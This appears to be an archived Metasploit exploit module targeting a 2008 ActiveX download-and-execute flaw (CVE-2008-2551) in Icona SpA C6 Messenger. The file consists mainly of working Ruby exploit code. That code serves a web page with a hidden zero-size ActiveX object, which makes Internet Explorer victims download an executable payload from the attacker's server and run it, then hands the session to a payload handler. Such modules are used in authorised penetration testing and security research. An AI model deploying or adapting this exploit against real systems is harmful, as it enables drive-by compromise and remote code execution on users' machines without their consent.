This Metasploit module exploits a vulnerability in Icona SpA C6 Messenger version 1.0.0.1. The vulnerability is in the Downloader ActiveX Control (DownloaderActiveX.ocx). The insecure control can be abused to download and execute arbitrary files in the context of the currently logged-on user.
5ff82482c6d0cc8cb96eb23172d540f4d5ded54210dbc21fe3ea60715403632a##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
'Description' => %q{
This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
insecure control can be abused to download and execute arbitrary files in the context of
the currently logged-on user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit
'juan vazquez' # metasploit module
],
'References' =>
[
[ 'CVE', '2008-2551' ],
[ 'OSVDB', '45960' ],
[ 'BID', '29519' ],
[ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ],
],
'DefaultOptions' =>
{
'ExitFunction' => "none",
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jun 03 2008',
'DefaultTarget' => 0,
'Privileged' => false))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Only IEs are potential targets
# "File Session" is used when the ActiveX tries to request the EXE
agent = request.headers['User-Agent']
if agent !~ /MSIE \d\.\d|File Session/
print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")
return
end
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}"
if (request.uri.match(/#{@payload_rand}/))
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
exe = rand_text_alpha(rand(5) + 1 )
content = %Q|
<html>
<object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">
<param name="propProgressBackground" value="#bccee8">
<param name="propTextBackground" value="#f7f8fc">
<param name="propBarColor" value="#df0203">
<param name="propTextColor" value="#000000">
<param name="propWidth" value="0">
<param name="propHeight" value="0">
<param name="propDownloadUrl" value="#{payload_url}/#{exe}.exe">
<param name="propPostDownloadAction" value="run">
<param name="propInstallCompleteUrl" value="">
<param name="propBrowserRedirectUrl" value="">
<param name="propVerbose" value="0">
<param name="propInterrupt" value="0">
</OBJECT>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
def exploit
@payload_rand = rand_text_alpha(rand(5) + 5 )
super
end
end
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